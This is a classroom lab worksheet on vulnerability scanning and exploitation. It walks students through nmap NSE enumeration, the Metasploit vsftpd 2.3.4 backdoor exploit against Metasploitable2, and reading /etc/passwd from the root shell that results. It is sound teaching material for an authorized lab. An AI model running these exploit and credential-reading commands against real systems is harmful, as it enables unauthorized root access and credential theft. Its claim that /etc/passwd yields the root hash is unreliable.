

**LESSON TITLE:**

**Lab\_Vulnerability Scanning and Exploitation**

**WARNING:**

Warning: Any use of penetration testing techniques on a live network could result in expulsion and/or criminal prosecution. Techniques are to be used in lab environments, for educational use only or on networks for which you have explicit permission to test its defenses.

**Level:**

- ☐ Beginner  
☒ Intermediate

**Time Required:** 60 minutes

☐ Advanced

**Audience:** ☒ Instructor-led

☐ Self-taught

**Lesson Learning Outcomes: Upon completion of this lesson, students will be able to:**

- Demonstrate the use of different vulnerability scanning tools.
- Identify vulnerabilities within a computer system.
- Demonstrate the use of pre-built tools to exploit a vulnerability in a computer system.

**Materials List:**

- Computers with Internet connection
- Browsers: Firefox (preferred), Google Chrome, or Internet Explorer
- Intro to Ethical Hacking lab environment

**Introduction**

In this lab we will explore methods of vulnerability scanning and exploitation using tools such as SPARTA and Metasploit. Follow the steps below and answer all question in your own words with as much detail as possible. Paste screen shots where requested. Include your username in the filename.

Systems and tools needed:

- Kali Linux (*u: root, p: toor*)
- Metasploit2
- Windows XP (SP2)
- Ubuntu 12.04
- **Power down all other systems on your network.**

## Module Activity Description:

### **Part One: Vulnerability Scanning with SPARTA**

Add 192.168.2.0/24 to the scope and run a full scan

1. Paste a screen shot of this page.

*Based on the Scan Results, answer the following questions:*

2. Which of your systems had the most vulnerabilities?
3. Which port on the windows XP system showed vulnerabilities?
4. What CVE IDs are associated with the top vulnerability on your XP system?
5. What is the potential impact of this vulnerability being exploited?
6. Look at the top 2 vulnerabilities on the metasploit system. Describe how the scan detected these vulnerabilities. (Hint: Metasploit system would have the most open ports)

## Module Activity Description:

### **Part Two: Vulnerability Detection with NMAP NSE**

In this section, we will use prebuilt nmap NSE scripts to try and discover potential vulnerabilities within our metasploit2 system. A list of all built in scripts can be found at <https://nmap.org/nsedoc/>.

7. Determine the IP address of your metasploit2 system and record it here:

*Run a service detection scan to determine the open ports and service info*

`nmap -sV <IP of system>`

8. Paste a screen shot of the output.

*Notice that Apache (httpd), Samba (smb), and NFS are services that are running on this system. Let's explore these.*

*Find which directories are accessible from NFS:*

```
nmap --script nfs-ls <IP of system>
```

**9. Paste a screen shot of the output.**

*Enumerate which users can access Samba shares:*

```
nmap --script smb-enum-users <IP of system>
```

**10. Paste a screenshot of the top of the script results.**

**11. Which user accounts are enabled for Samba?**

*Enumerate directories within http services:*

```
nmap --script http-enum <IP of system>
```

**12. List any directories that you think might contain any potential vulnerabilities?**

*Try out some more scripts on your own. Find 2 that reveal some vulnerability information.*

**13. Paste screen shots and descriptions of the two scripts below.**

**Module Activity Description:**

**Part Three: Exploiting Vulnerabilities**

In this section we will look at some examples of exploiting known vulnerabilities. Keep in mind; these are very simple examples that should be patched on most systems. **DO NOT attempt to run these or any exploits on a system you are not authorized to do so on.**

*Above we discovered NFS directories that were available. Now we will attempt to mount the root of the system to access these directories.*

**Using Metasploit framework to run an exploit**

*In our port scans, we discovered that **vsftpd** version 2.3.4 was running. This version of the service had a well know backdoor that we installed by a malicious developer. We can use a Metasploit module to exploit this vulnerability.*

*Start you msfconsole and select the module to run the exploit*

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

*Set the target to your metasploit system*

```
set RHOST <IP of system>
```

```
show targets
```

```
set TARGET 0
```

*Verify targets and exploit*

```
show options
```

```
exploit
```

*This opened a telnet session as a root user. Run a few commands to test it out:*

```
whoami
```

```
hostname
```

```
grep root /etc/passwd
```

- 1. Paste a screen shot of these commands.**

*Info: The last command gave you the password hash for the root user. This could come in handy later.*

*Find another exploitable payload that will run against metasploitable2. (There are tons of guides available on the Internet).*

- 2. Provide screen shots of running the exploit. Then answer the following questions.**
- 3. What service did this exploit use?**
- 4. What is the CVE ID and description of the vulnerability that it took advantage of?**
- 5. What were you able to access after successfully running the exploit?**